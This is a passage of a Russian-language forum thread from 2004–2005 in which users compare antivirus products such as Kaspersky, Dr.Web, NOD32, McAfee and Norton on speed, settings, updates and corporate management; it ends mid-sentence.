Destruction А что есть?

Автор:	Destruction [ 19:13 04.11.2004 ]
Заголовок сообщения:
Ipse, на предыдущей странице я писал Там одно приложение сразу за все отвечает: и за почту, и за макросы, и за скрипты и все прочее.

Автор:	Vovan177 [ 21:30 04.11.2004 ]
Заголовок сообщения:
ArtLonger Настройки по максимуму стоят. Destruction Нет о Персонал не Про.

Автор:	Destruction [ 22:08 04.11.2004 ]
Заголовок сообщения:
Vovan177 Понятно — так и подумал

Автор:	Vovan177 [ 08:47 05.11.2004 ]
Заголовок сообщения:
Destruction А как у Про в этом деле? Скорость работы всмысле? Если ты говоришь, что у него нет монитора, то проверяет ли он налету?

Автор:	Destruction [ 12:10 05.11.2004 ]
Заголовок сообщения:
Vovan177, да. Налету проверяет — всегда можно посмотреть, сколько файлов проверено (макросов, скриптов). В принципе работы его более заметна — иногда слегка шуршит винтом. Полную проверку пока не делал, как выдастся пара часиков — попробую и отпишусь. ЗЫ: Имхо, AVP стал удобнее после замены кучи приложений одним реально работающим.

Автор:	Vovan177 [ 18:26 09.11.2004 ]
Заголовок сообщения:
Destruction Поставил вчера АВП Про 5.0.14. Отличие пока от не Про только в настройках — стало больше и можно нормально настроить антивирусник. Обидно только что обновления не подхватились с локальной папки По работе отличия от не Про не заметил. Также жапустил при работающем "мониторе" NFSU. Играть можно. Так что мой совет — юзайте АВП Про 5.

Автор:	Destruction [ 19:03 09.11.2004 ]
Заголовок сообщения:
Vovan177 Цитата: > Обидно только что обновления не подхватились с локальной папки\ Да, эта проблема пока не решена.

Автор:	Ipse [ 17:49 10.11.2004 ]
Заголовок сообщения:
Vovan177 Согласен. Работает достаточно быстро и качественно. Хотя когда он пытается сканить ехе-шники в несколько сот мегабайт — это нечто

Автор:	Vovan177 [ 05:51 14.11.2004 ]
Заголовок сообщения:
Ipse Хотя когда он пытается сканить ехе-шники в несколько сот мегабайт — это нечто Да несовсем нечто Ну подтормаживает система на пару сек и все. По крайней мере у меня так. А так особой тормазнутости я за ним незаметил.

Автор:	Ipse [ 13:43 14.11.2004 ]
Заголовок сообщения:
Vovan177 Тогда Вам здорово повезло. Не поделитесь секретом настройки компа? А то у меня он притормаживает отнюдь не на пару секунд. Секунд 30 — милое дело.

Автор:	Vovan177 [ 18:16 15.11.2004 ]
Заголовок сообщения:
Ipse Может у нас разные понятия "несколько сот мегов" и "притормаживает"? А так комп настроен нормально: выключены ненужные службы ну и патчи к винде установлены. Хоть и запущено еще куча не виндовых процессов (типа виндовс блиндс и т.д.).

Автор:	Ipse [ 20:04 15.11.2004 ]
Заголовок сообщения:
Vovan177 Может у нас разные понятия "несколько сот мегов" и "притормаживает"? Логично Несколько сот мегов — это порядка 600 Мб, а "притормаживает" — это не система в целом. Фраза относится именно к задержке с обработкой этого самого 600 Мб екзешника. А так антивирь достаточно шустрый. Общую тормозистость системы не вызывает.

Автор:	Vovan177 [ 06:01 17.11.2004 ]
Заголовок сообщения:
Ipse Согласен

Автор:	Mister [ 00:56 22.11.2004 ]
Заголовок сообщения:
Ну, вот, PC-Cillin это якобы хороший антивирус. У меня он стоит довольно давно. Я его даже зарегестрировал. При работе с инетом включаю realtime scan — он при правильной настройке ловит всё и вся. Но есть маленькая проблемка: последнее время стали поступать сигналы, что он не отлавливает вирусы.

Автор:	U-Nick [ 13:25 30.11.2004 ]
Заголовок сообщения:
Всем Hi! Недавно ставил братану новый винт, так у него столько ... странного обнаружил! Например, в каталоге downloads лежит куча файлов одинакового размера (~ в 20 кил) с именами типа filename.ext.exe! ext — от rtf до jpеg и тп! Что за звери? Следы вируса? Комп подключается к Нету через встроенный модем, который активно братановы дочки пользуют. drWeb стоит, правда без последних обновлений. Кроме него в системе есть Нортоновский антивирь, не удалённый до конца — тоже что-то сканирует. Я удалил ВСЁ. Но до тщательной проверки системы не добрался из-за дефицита времени. Какие есть мысли, уважаемые знатоки?

Автор:	Vovan177 [ 18:35 30.11.2004 ]
Заголовок сообщения:
U-Nick Цитата: >filename.ext.exe\ По виду файла смахивает на какого-нибудь трояна или червя. Подобные файлы почтой распространяются. Файервол такие файлы с почты в легкую вырезает.

Автор:	Digger [ 22:09 30.11.2004 ]
Заголовок сообщения:
Не знай как на счет АВП, не пользоволся, но чтолибо тормознутей касперского(особенно 4-ого) я ни чего не встречал. Раньше стоял NOD32 классный антивирусник по всем параметрам: монитор работает практически незаметно, обновления каждый день и весят мало, по тестам один из самых лучших....но смущало одно: скорость полной проверки диска(ов) с включенной макс степенью неврестического анализа и какой то еще технологии. Так вот проверка занимает у него 5-6 минут, ну не может такого быть... Щас стоит NORTON ANTIVIRUS 2004//IMHO самый лучший и по скорости и по стабильности и по использованию оперативки(всего 10 метров), да и по международному антивирусному бюллетеню его надёжность 86%, а у касперского 53%.

Автор:	sergey2400 [ 22:46 30.11.2004 ]
Заголовок сообщения:
Я пользуюсь AVP уже 8 лет, и ни одного вируса на комп не попало. Хорошая была версия 3.0, но к сожалению она для XP & 2000 не подходит, зато на 98 работает на урра, и почти не тормозит. Я её до сих пор под 98se использую. AVP 4.0 — полный тормоз, работает более-менее быстро только на мощных ПК, на остальные лучше не ставить. Конфликтует с сетевой версией 1С. AVP 4.5 — чуть-чуть побыстрее, чем 4.0, но под 98se работает не совсем корректно, под ХР всё ОК! AVP 5.0 — самая шустрая из всех версий AVP, но предпочитает не лечить, а в большей степени удалять инфицированые файлы, по крайней мере в версии Personal. Очень много лишних наворотов, которые пока нет возможности корректно отключить — после выключения она начинает выдавать предупреждения, которые изрядно утомляют. Но не смотря на всё это, я продолжаю ей пользоваться и рекомендую её в качестве антивирусной защиты. В дополнение к ней рекомендую так-же программу Kaspersky Anti-Hacker, но только при условии, что у Вас установлен либо Win98se, либо WinXP не выше SP1. Если-же установлен SP2, то эта прога начинает цепляться с системой безопасности WinXP SP2, что приводит к зависанию ПК во время работы в Интернете. Желаю всем успехов.

Автор:	Yuri_ua [ 20:27 26.12.2004 ]
Заголовок сообщения:
А нет ли какого-нибудь официального тестового архива, с вирусами Чтоб натравить на него антивирусники и посмотреть, кто лучше справится

Автор:	ShVX [ 21:25 26.12.2004 ]
Заголовок сообщения:
Хотелось бы услышать компетентное мнение по поводы Panda antivirus Platinum. Использую эту программу уже примерно год (раньше был Касперский 4,5) и вполне доволен (версия 7.07.01): не тормозит, не глючит, время от времени сообщает, что нейтрализован вирус (как правило в кэше Оперы).

Автор:	dimit [ 18:16 28.12.2004 ]
Заголовок сообщения:
ShVX Тоже пользую Панду, нравится встроенный файервол,но вирусы иногда пропускает(файервол), сам же их потом и отлавливает. Пользую всего три месяца так что статистики мало, вот чем ещё нравится систему вообще не грузит.

Автор:	gdialex [ 02:51 03.01.2005 ]
Заголовок сообщения:
sergey2400 Цитата: AVP 5.0 — самая шустрая из всех версий AVP, но предпочитает не лечить, а в большей степени удалять инфицированые файлы, по крайней мере в версии Personal. Очень много лишних наворотов, которые пока нет возможности корректно отключить — после выключения она начинает выдавать предупреждения, которые изрядно утомляют. Но не смотря на всё это, я продолжаю ей пользоваться и рекомендую её в качестве антивирусной защиты. В дополнение к ней рекомендую так-же программу Kaspersky Anti-Hacker, но только при условии, что у Вас установлен либо Win98se, либо WinXP не выше SP1. Если-же установлен SP2, то эта прога начинает цепляться с системой безопасности WinXP SP2, что приводит к зависанию ПК во время работы в Интернете. Желаю всем успехов. ВРАНЬЕ ПРОСТО ДИКОЕ ( почти все)......... В данный момент Правильно все таки ставить для всех "Чайников"— Пользователей — ( как минимум AVP Personal 5.0.227), которые хотят работать в Ворде+Читать/Писать Почту в большой локальной сети, оборудованной Интернетом и не оборудованной хорошим Админом с хорошим Файрволлом Он Заблокирует и Грохнет по желанию пользователя не тока Вирусы, но даже ADware, RiskWare, SpyWare..... и т.д. И даже немного сработает как Фаервалл — отразит атаку Червей, сканящих твой адрес из Инета(тока для версии не ниже 5,0,227)...... и не тормозит он так прям дико? как заявляют , даже на Win XP SP2 — Проверено на AMD 32XP 2500+ и Pentium 2.8 Prescot( офисный без видюхи) Вообщем Рекомендую.......Для Офиса, все таки пойдет такой License... Чем Ворованным Norton`om Пользоваться втихаря.... МОЖЕТ КТО ЕЩЕ БАЛОВАЛСЯ ПРОГОЙ ???? AVG от Чехов... Вроде есть Бесплатная Версия, тока она Особо не Работает на Пользу..... смотрим:http://www.antivirus.ru/OknoA.html и еще бы дал, тока про%*ал ссылы.

Автор:	ArtLonger [ 11:21 03.01.2005 ]
Заголовок сообщения:
gdialex Не стоит наезжать по делу. И вообще, писать лучше на трезвую голову... Цитата: AVG от Чехов Пробовал. Достаточно неплохой антивирус, хотя конечно с грандами (SAV, McAfee, KAV, DrWeb) не сравнить. Но вот Alert Service просто отвратительный...

Автор:	[test] [ 19:26 04.01.2005 ]
Заголовок сообщения:
Я дико извиняюсь, пытался почитать 6-ть листов этой темы, но если честно ничего не понял, хочу попробовать вернуться к этой теме еще раз. Хотелось бы учредить гранды по следующим номинациями: Лучший антивирус для домашнего компьютера Лучший антивирус для офисного компьютера Так как у нас довольно плохо вообще с описаниями антивирусов в рунете, хотелось бы услышать Ваши мнения и описания антивирусов вообще. Например мой выбор и описание: Лучший антивирус для офисного компьютера TrendMicro OfficeScan 6.5 Состоит из двух частей, сервера и клиента. Сервер из себя представляет набор скриптов для управления, управления реализовано посредством WEB броузера, и некоторого количества сервисов. Обновления клиентов производятся локальным сервером, который сначала скачивает обновляения для себя, а потом распределяет их по клиентским машинам. Обладает очень мощными функциями по управлению клиентскими компьютерами. Для Windows Domain, и клиентских машин на платформе NT предусмотрены такие фукнции как remote install & remote uninstall. Позволяет удаленно, администратору, просматривать логи, запускать процесс сканирования всех файлов на клиенте, определять действия по умолчанию для real-time scan. Имеет довольно интересный режим OutBreak, который включается либо автоматически, при достижении определенного количества заражений на компьютере, или вручную администратором. В этом режиме блокируются ВСЕ соединения этого компьютера с внешним миром по сети. Умеет уведомлять администратора, почтой или по пейджеру в случае достижения некоторого предела зараженных файлов. Клиент: Удивительно быстр, на мой взгляд работает быстрее чем Kaspersky 3.5, свободно переносится даже компьютером аля Cel 466 / 64 mb ram. Совершенно немногозвучен, при определенных настройках, становится просто значком с системной трее, если же пользователю доверяеется больше чем секретарше, то не менее полноценен чем NAV. Умеет интегрироваться с MS Outlook / OExpress. Есть POP3 сканнер, работающий как локальный сервер. Из сильных недостатков, не умеет обходить файлы по маске, то нельзя в exclude (исключениях) задать wildcard (сильно бесит если стоит The Bat! как почтовый клиент). Недостоинство: В целом рассчитан на тупого иностранного админа, то есть довольно много кликов мышкой и много визардов. Я просто в попытках найти антивирус, за который хотелось бы заплатить денег. Пока хочется только за вот этот. Чего ставить домой, я в растерянности. Из глобальных требований, что бы систему сильно не вешал (касперского 4ку убить охота за это), и желательно еще ловил чего нить . P.P.S. Прощу прощения за кучу ошибок, ужасный новый год и работа до 23:00 со второго числа , В голове моей опилки.

Автор:	ArtLonger [ 21:59 04.01.2005 ]
Заголовок сообщения:
Ну лично я предпочитаю дома и на работе иметь одинаковые антивирусы — оно как-то спокойнее... ИМХО наиболее интересны в качестве корпоративных антивирусов McAfee ViruScan Enterprise 8.0i и Symantec AntiVirus Corporate 9.0. Набор административных инструментов более-менее идентичен TrendMicro (тут уже некий стандарт), мастерами оба не изобилуют. Обновления через Интернет достаточно оперативны, при самостоятельном скачивании базы SAV обновляются чуть чаще. Клиенты невесомыми конечно не назовёшь, но до тормозов Касперского им далеко . В плане настройки McAfee безусловный лидер — настраивается всё, как у сервера, так и у клиента. Собственно клиент вполне полноценная программа, а вот сервер — отдельная программа ePolicy Orchestrator. SAV в этом слегка проигрывает — привычка делать программы для идиотов наложила отпечаток и на их корпоративные продукты, но это касается в основном клиента. Серверная часть SAV весьма богата настройками. В плане обновления через Интернет Symantec хуже — LiveUpdate вещь в себе, и в подавляющем большинстве случаев делает то, что хочется ему. А обновления изолированного клиента SAV это просто песня — минут пятнадцать может хрюкать на большом винте... МсАfее самодеятельностью не страдает, плюс очень прозрачная политика обновлений. Базы, движок, патчи — всё весит немного и качается отдельно, да и обновляется изолированный клиент очень быстро. В плане управления McAfee не особо копенгаген, в моей конторе корпоративный стандарт — Symantec AntiVirus Corporate 9.0. А вот он сделан для ленивого админа. Если нет специфических требований, то сервер полностью работоспособен сразу после разворачивания и обеспечивает хороший уровень защиты. Общая для всех грандов болеезнь — выкидывание из баз старых вирусов...

Автор:	[test] [ 22:39 04.01.2005 ]
Заголовок сообщения:
ArtLonger Symantec AntiVirus Corporate 9.0 Я видел в работе, мне не понравился, ни сервер ни клиент. за ViruScan спасибо посмотрю, только возникает резонный вопрос, а русский интерфейс присутвует для домашней версии ? Кстати имено потому что стационарный клиент очень огромен, и очень сложен и прост одновременно, я не рекомендую PC-cillin Internet Security от TrendMicro. Вообще же тенденция соединять файрвол и антивирь в одном флаконе меня раздражает

Автор:	Viller [ 22:58 04.01.2005 ]
Заголовок сообщения:
До версии 3.5 сидел на Касперском, но 4.0 меня ужаснула и шокировала своей тормознутостью. И 4.5 и 5.0 немногим отличаются в лучшую сторону, менее чем 1.5ГГц их ставить можно даже не пытаться Так еще и назойливости прибавили — "Не отключи!", "Обнови!" и т.п. Перескочил на Dr.Web. По мне так чем незаметнее и ненавязчивее, тем лучше. Но это для дома, для офиса разговор отдельный...

Автор:	[test] [ 00:22 05.01.2005 ]
Заголовок сообщения:
Viller C Dr.Web у меня отдельная история, он удачно пропустил 6-ть троянов, и человек попал на 1800$ траффику Причем базы все были нормальные, просто троян удачно его нетрализовал

Автор:	ArtLonger [ 12:37 05.01.2005 ]
Заголовок сообщения:
[test] Symantec AntiVirus Corporate 9.0 Я видел в работе, мне не понравился, ни сервер ни клиент. Мне тоже не нравится, но сделать ничего не могу Как атишника особенно радуют упорные попытки проверить видеодрайвер в момент инициализации... А вот дома гоняю McAfee Enterprise 8.0, и весьма доволен. за ViruScan спасибо посмотрю, только возникает резонный вопрос, а русский интерфейс присутвует для домашней версии? Нет. И кстати, единственная полностью настраиваемая версия — это Enterprise. Прочие (Pro, Home) сделаны в том же стиле, что и последний KAV, т.е. для домохозяек. И чем проще версия, тем домохозяистее... Viller Dr.Web. По мне так чем незаметнее и ненавязчивее, тем лучше. Слишком слабый уровень защиты у монитора по умолчанию, имхо. А при выставлении максимальных параметров тормоза почище KAV...

Автор:	Viller [ 14:27 05.01.2005 ]
Заголовок сообщения:
Кстати, кто-нибудь NOD32 пробовал?

Автор:	ArtLonger [ 23:22 05.01.2005 ]
Заголовок сообщения:
Viller Я наверняка кому-то плюну в душу, но имхо ничего особенного из себя NOD32 не представляет. И обновления только через интернет (с попутной проверкой лицензии). Но зато весьма лёгок в работе, пожалуй почти как AVP 3.5...

Автор:	[test] [ 19:19 13.01.2005 ]
Заголовок сообщения:
Решил вот посмотреть что такое McAfee. Маленький отчет Если кому интересно продолжу описание антивирусов, с точки зрения защиты я их не рассматриваю, так как считаю что +— большая часть одинакова по своей способности отлавливать вирусы, и рассматриваю только удобство использования. McAfee VirusScan Х.0 Professional Для начала мои похождения меня отправили на сайт http://www.mcafee.ru, легкая радость от возможно русифицированного клиента. Блуждания по сайту выяснили что trial версию дают скачать только после регистрации, обидевшись, чуть-чуть, за такое поведение, я полез на варезные сайты (там регистрации не требуют). Краткий обзор показал что русский сайт mcafee не обновляется уже очень давно, и технических специалистов в форуме у них нету. Вообщем решил скачать версию 9.0 Prof, в виде триал версии с общего сайта mcafee.com, там тоже потребовалась регистрация, но email не проверяется. Скачал, запустил установку, пройдя 3-4 вопроса от начала в мастере установки, меня остановила ошибка выполнения скрипта и полная впоследствии неадекватность мастера. Поискав в инете название ошибки, выяснил, что для установки нужно поставить, для системы, язык по умолчанию "английский". Мда, не сильно нас любят за границей или просто их программисты совершенно не в курсе, что материков на планете больше чем один, и что на нашей планете больше чем один язык общения. Вернувшись к варезным отстойникам, нашел прошлую версию 8.0 Professional. Как не странно, установилась она без проблем, и сразу после запуска (перезагрузки не требовала), настойчиво попросила регистрации и ругнулась что поставилась плохо. Удалил, перегрузился, поставил еще раз. Более не ругалась. Открыв "модное средство" Security Center, я увидел что Antivirus Index моего компьютера равен 4.2, кликнув по красивому значку справки, я узнал (на чистейшем английском), что антивирусные базы моего антивируса устарели. Так же мне порекомендовали нажать кнопку "Updates", результатом мне было явление окна Firefox с предложением обновиться до версии 9.0, отказавшись от настойчивых уверений что за 29.99$ мне будет полное счастье я уверено нажал скачать базы для версии 8.0. Меня еще раз попросили регистрироваться. После регистрации (опять без проверки email), мне предложили скачать ActiveX который и все сделает за меня. Плюнул на обновления, полез изучать настройки. Скудно и все насквозь заткано визардами и большими красивыми кнопками помощи. Тем не менее, как правило, внизу есть кнопочка advanced позволяющая более тонко настроить то чего я хочу. В целом достойно и на 4 из 5 баллов тянет (но если будет по русски). Понравился сканер — сниффер pop3 & smtp траффику на лету. не требуюший перенастройки почтовых клиентов. После настройки антивируса я обратил внимания на оставшиеся разделы security center. Personal Firewall — not installed, click here to buy — 30$ SpamBlock — not installed, click here to buy — 30$ И еще что-то, но уже поняв что мне что-то не доложили и требуют денег, я с кислой мордой лица полез в Add / Remove programms. Не впечатлило: не варезная версия, ни триальная. За что платить 69 + 30 + 30 $ я честно говоря не понял, и платить у меня желания не возникало. McAfee VirusScan 8.0i Enterprise Отчаявшийся в версии Professional я скрипя зубами установил Enterprise, с надеждой, что ArtLonger плохого не посоветует . Установилась без проблем, при запуске проинформировав (но не ругаясь), что блокирование программ для доступа к сети не будет производится до тех пор, пока не запустится network driver, запустить который можно перезагрузившись. Обрадованный таким красивым началом, я попробовал сразу поставить ePolicy Orchestrator, который обложил меня разными нехорошими словами, при попытке поставить server & console на Windows XP, сославшись на ePolicy Orchestrator Guide Reference (ставить на сервер пока не стал, там крутится Trendmicro OfficeScan, а виртуальный сервер я не успел сегодня поставить). Плюнул на управление через сеть, оставил enterprise как локального клиента . Из первых неприятных впечатлений, это отсутствие проверки pop3 траффику, которая присутствует в клиентах professional & home (видимо у них в сети сервера почтовые только lotus domino & ms exchange). Из приятных достаточное количество настроек, которые всячески влияют на производительность (обменивая ее на безопасность ). Теперь попробую пожить с ним некоторое время, посмотрев на более тонкие нюансы работы. О результатах, как я уже говорил доложу чуть позже. P.S. Прощу прощения за ошибки.

Автор:	Digger [ 13:48 15.01.2005 ]
Заголовок сообщения:
А почему здесь не рассматривается NortonAntivirus 2004, или он чем-то плох? Ни одного вируса на комп за 2 года не пролезло, монитор работает незаметно, обновление баз довольно часто, весят они примерно по 600кб -1 мб...

Автор:	[test] [ 15:32 15.01.2005 ]
Заголовок сообщения:
Digger Как это не рассматривают, рассматривают Краткий приговор: Тормоз он , монитор работает очень заметно, особено если компьютер меньше 1500 mhz, обновления баз — В плане обновления через Интернет Symantec хуже — LiveUpdate вещь в себе, и в подавляющем большинстве случаев делает то, что хочется ему.

Автор:	patrees [ 15:45 15.01.2005 ]
Заголовок сообщения:
Я, наверное, глупость делаю, но антивирусы не жалую. Ну просто ва-а-аще. Последняя версия файрвола + некая осторожность в обращении со всеми входящими файлами — и за всю жизнь тока одного виря где-то подцепил... Нагадил он мне неслабо, но такую здоровую лагучую прогу в оперативку вешать не желаю

Автор:	[test] [ 15:50 15.01.2005 ]
Заголовок сообщения:
patrees Наверное глупость, но вот если бы ты был сотрудником компании, где я являюсь системным администратором, то увы и ах, тебе пришлось бы ее терпеть. И сделать бы ты с ней ничего не смог. У меня дома тоже нет антивируса, но "глупых секретарш" защитать то надо.

Автор:	patrees [ 16:37 15.01.2005 ]
Заголовок сообщения:
Возможно СисАдминам в сетке, полной различных "рукастых" экспериментаторов и пригодится, но, ИМХО, дома файрвола хватит с головой. Скоко я сабжевых прог за свою жизнь узал — разочаровался.

Автор:	[test] [ 20:44 15.01.2005 ]
Заголовок сообщения:
patrees Неправ ... у тебя уровень знаний, раза так в 3 превышает обычного пользователя, люди далекие от техники очень легко запускают вирусы . У меня есть клиенты, учителя, компьютер нужен для email и просто в инете инересные штуки почитать (типа телепрограммы), не купились только на ILoveYou.Kurnikova, и то видимо потому что возраст уже не тот, и Курникова им эта, не в фас, ни в профиль не сдалась У сестры дома стоит, для обучения , мне надоело бегать отвечать на вопрос, а можно запустить это, а то ? Я сказал запускай все что хочешь. Кашмарский ругнул пару раз, смотрю уже сама определяет чего запускать не стоит

Автор:	Romanoff [ 20:35 17.01.2005 ]
Заголовок сообщения:
Помоему NOD 32 2.12.3 — самый офигительный антивирь. Систему не грузит, работает.. даже не заметно. Да и вирусы не пропускает. Хотя есть один недостаток — слишком большие обновления 2-3 мб.

Автор:	Alex_79 [ 00:56 18.01.2005 ]
Заголовок сообщения:
А вот по моему McAfee Professional-- этот антивирь полностью вшивается в вашу винду и ловит всё всё всё всё!!!! очень гибкая система настроек. Единственое --его почти нельзя удалить он имеет свойство самовосстанавливаться и его корни из винды не вычистить только формат ц. У него ещё много хитростей тонкостей и странностей но тем неменее более неприступную стену я ещё невидел в нём кстати есть ещё и фаервол и много других утилит!! На мой взгляд вердикт такой---Оченьспецифичная программа но её я ни на какую другую не променяю. и вам советую попробовать.

Автор:	[test] [ 03:15 18.01.2005 ]
Заголовок сообщения:
ArtLonger Я влюбился , дома заработал On-Delivery E-mail scanner. Настроил обновление .. все я тасчусь ... И цена как я понял, даже дешевле чем Kaspersky, в подписке на год. Супер !

Автор:	[test] [ 21:54 25.01.2005 ]
Заголовок сообщения:
Значится чуть чуть по VirusScan 8.0 Interprise, после плотного использования. С почтой полный облом, понимает только 2 клиента, MS Outlook & IBM Lotus Notes, что не может не печалить обычного домашнего пользователя, в остальном прелееестно ... вирусы ловит, блокирует удаляет, spyware тоже ловит, и тоже удаляет (хоть и проигрывает в этом специализированым программам).

Автор:

Mawerick [ 11:50 02.02.2005 ]

Заголовок сообщения:

Alex_79 писал(а):
А вот по моему McAfee Professional-- этот антивирь полностью вшивается в вашу винду и ловит всё всё всё всё!!!!

Цитата:
я ни на какую другую не променяю. и вам советую попробовать.

Сам юзаю уже 2 года старичка McAfee Professional 7.02. Бесподобная вещь. Даже удалось к нему нарыть в нете русифики, красота и море удовольствия. Никому не стану ничего рекомендовать, всё сугубо ИМХО, но менять ни на что не стану.

Автор:	Alex_79 [ 00:41 12.02.2005 ]
Заголовок сообщения:
Mawerick Вот вот вот!!!! Всё правильно!! Размениваться на более тупую систему защиты не стоит!! McAfee рулит на все 100% Труды доктора Соломона явно не прощли зря!!!

Автор:	ArtLonger [ 19:57 16.02.2005 ]
Заголовок сообщения:
Кстати, я сейчас гоняю бесплатный антивирус от H-BEDV, так впечатления вполне приятственные. После небольшой настройки он нашёл в моей коллекции лишь чуть меньше вирусов, нежели McAfee, и прилично больше AVG 7.0... В управлении прост, в работе нетяжёл. Из минусов — не отслеживает почту. По слухам не очень хорош в отлове скриптовых вирусов, чего я (включив средний уровень эвристики) не заметил. Линки для скачивания (ибо сайт не любит MDI-браузеры и по ссылкам в них ходить плохо): http://www.avup.de/personal/en/avwinsfx.exe http://www.free-av.de/down/vdf/vdf_h.zip

Автор:	Alex_good [ 13:14 19.02.2005 ]
Заголовок сообщения:
Мысли об эвристике Касперского и drWeba 15.02.05 пришёл ко мне по почте подозрительный архив. Ни KAV 5.0.142 ни drWeb 4.32 со свежими обновлениями ничего не говорили. Файл послал и тем и другим, а exe запустил (интересно же ). Разумеется червь. На следующий день утром Касперский обозвал его kipis.o, после обеда drweb hllm.dasha. Но вся их эвристика при максимальном уровне защиты не сработала.

Автор:	[test] [ 20:21 19.02.2005 ]
Заголовок сообщения:
ArtLonger А я гоняю совсем не бесплатный NOD32 и меня все больше посещяют мысли типа, а вот если бы взять это отсюда, это отсюда, была бы лапочка, а не антивирь. Но увы и ах, такого не бывает. Приятный фишки NOD32 IMON и плагин для бата .

Автор:	ArtLonger [ 21:30 19.02.2005 ]
Заголовок сообщения:
[test] Гонял его, да. Не понравился совершенно (несовместимость у нас на уровне интерфейсов, видать). На моей коллекции пусть и не новых, но всё же вирусов NOD32 ничем себя не проявил — не лучше и не хуже других антивирусов ( в т.ч. и бесплатных). До МакАфея ему далеко, но систему зато не грузит.

Автор:	[test] [ 14:43 21.02.2005 ]
Заголовок сообщения:
ArtLonger У меня гораздо больше к нему претензий чем просто несовместимость интерфейсов (будет интересно кому расскажу , спрашивайте). Глючность монитора просто выводит из себя переодически, по скорости сканирования файлов он быстрее, но в режиме проверки на лету, он тормозит больше чем McAfee.

Автор:	Dimka [ 14:55 21.02.2005 ]
Заголовок сообщения:
Скажите ну зачем вам эти навороты типа сканеров входящей почты и прочего бреда ? Антивирус должен делать 2 вещи: 1. Блокировать запуск заражённых файлов. 2. Сканировать и чистить/удалять/класть в карантин заражённые файлы по моей команде или расписанию и только те, на которые я ему укажу (AD/SPYware те же вирусы если Я не сказал обратное по каждому случаю отдельно). И ничего больше. Всё остальное сакс и масдай. Меня когда-то устраивал NAV Corporate. Сейчас много пропускает, но всё остальное ещё хуже.

Автор:	[test] [ 23:09 21.02.2005 ]
Заголовок сообщения:
Dimka Скажите ну зачем вам эти навороты типа сканеров входящей почты и прочего бреда ? Гм, что бы памперс был сух у секретарши, что бы не существовало принципальной возможности запустить вирус из аутглюка или ему подобного. Все зависит от конретного случая и конкретного админа. Если я сижу в конторе, то мне это не требуется, будет поднят общий фильтр входящей почты, еще до пользователя. Если же я админ по вызову, мне удобнее поставить некий антивирус который будет уметь делать следующее: — сканировать сетевой траффик по http & pop3. — уметь блокировать запуск программами других программ, например нефиг Internet Explorer'y что-то запускать из моей папки temp (опционально) — уметь быть маленьким закрытым файроволом (что бы можно было запрещать обраться кому-либо к каким либо ресурсам, например нефиг никому кроме outlook.exe отсылать почту по 25 порту), + не конфликтовал со встроеным в winxp файрволом — умел проверять папки по правому клику (что бы в контекстной менюшке был) — имел возможность настраиваться таким образом что бы показывалось сообщения с информацией о вирусе, но настройка о том чего с ним делать пользователю не доступна — карантин — имел возможность блокировать свои настройки паролем — имел возможность легко масштабироваться, например подключаться к административному серверу или позволял управлять собой удаленно (можно отдельной версией, типа NAV / NAV Corp) — был русский интерфейс — обновление с локального сервера. Вот где-то такой у меня сейчас список требований, плюс стандартные, что бы P4 3.0 GHz не превращался после его установки с Celeron 2000. Все текущие антивирусы умеют всего понемногу. Суммарно такого нет. Кстати я не против если это было модульно, то есть не обязательно одна программа это включает, а как бы состоит из модулей. P.S. Мне персонально он не нужен .

Автор:	Dimka [ 09:01 22.02.2005 ]
Заголовок сообщения:
[test] Но мы же обсуждаем свои домашние машины, а не корпоративные решения. Кстати, если антивирус нормально ловит вирусняк при попытке запуска, то сетевые фильтры и не нужны совсем. Русский интерфейс — самая ненужная вещь из всех возможных в антивирусе. Админ поймёт и по английски а пользоватею не надо ничего понимать. Как следствие — все эти не очень нужные навороты вместе взятые могут превратить пень4 в селерон. Особенно я ненавижу shell extensions, те, что по правому клику т к 1 — мне не долго выбрать то, что надо сканировать через интерфейс самого антивируса. 2 — когда их много — это катастрофа. Нортон 2005, например, не позволяет от них избавится нудно тебует полную переустановку даже при удалении иконки из start menu из за чего (и не только) был полностью забракован мной через 2 дня после установки.

Автор:

ArtLonger [ 10:19 22.02.2005 ]

Заголовок сообщения:

[test]

Цитата:
будет интересно кому расскажу, спрашивайте

Интересно. Я его не гонял плотно, а это сейчас заметный игрок на российском рынке.

Dimka

Цитата:
Антивирус должен делать 2 вещи:
1. Блокировать запуск заражённых файлов.
2. Сканировать и чистить/удалять/класть в карантин заражённые файлы по моей команде

<бурные и продолжительные аплодисменты>
Обсуждаем мы правда не домашние машины, а ищем лучший антивирус

.

На мой взгляд FreeAV от H-BEDV очень неплох для пользователя выше начального уровня — лишнего нет, запустить вирус не даёт, ресурсы не жрёт. Имхо дома самое оно, хотя для диалапщиков не самая удачная система обновлений (ежедневно 2-3 мега). Фирма имеет массу хороших корпоративных решений, а также бесплатные продукты для UNIX/Linux.

Автор:	[test] [ 15:45 22.02.2005 ]
Заголовок сообщения:
Dimka Но мы же обсуждаем свои домашние машины Как я уже говорил, на МОЮ домашнюю машину, антивирус не требуется, а для экстреной проверки чего либо на что либо, есть online и в крайнем случае скачать не долго триалку. Русский интерфейс — самая ненужная вещь из всех возможных в антивирусе. Админ поймёт и по английски а пользоватею не надо ничего понимать. Как раз имхо, если говорим про домашние машины то самая нужная. Иметь возможность админа дома это дорогое удовольствие. Особенно я ненавижу shell extensions, те, что по правому клику т к а мне с точки зрения пользователя очень понравилось, когда по правому клику всего один пункт VirusScan. который и запускает сканирование. (ессевено я тоже не сторонник кучи параметров в меню, типа как Winzip добавляет или Winamp). Просто я ищу антивирус пользователю домой или в маленькую локальную сеть (компов на 5-10), где могут вызвать мастера, который им бы базово настроил и люди не имели с этим проблем. Антивирус домой админу я не ищу, корпоративный антивирус тоже не ищу, там другие правила.

Автор:	[test] [ 16:07 22.02.2005 ]
Заголовок сообщения:
ArtLonger ESET NOD 32 Начал с посещения сайтов с информацией об этом антивирусе, на бумаге красивая весчь. Правда с поддержкой на русском языке все таки туго, есть одна компания которая пытается стать дилером, устроить поддержку и прочее, но что-то как-то все не получается. Воспользовался варезными сайтиками, нашел ключик для скачивания нормальной полной версии NOD32 Standart. Для начала включил только модуль AMON отвечаюший за проверку файлов на лету. Первый найденый глюк. Apollo.exe (проигрыватель mp3), когда проигрывает музыку, вызывает забавный глюк, NOD32 начинает проверять только аполло, причем постояно и счетчик проверяных файлов растет, загрузка процессора при этом около 5 процентов (просто аполло 0.4 — 0.5). Полез разбираться, оказалось что такой глюк только аполло (winamp & wmp таких проблем не вызывают), но связано это скорее всего с тем каким образом реализовано проигрывание в device непосредствено. Если отключить в nod32 проверку On Execute то такой баг пропадает, или если убить handle apollo на звук. Внес Apollo.exe в непроверямый exe и успокоился. Второй глюк, как часть первого глюка, любая системный звук, в 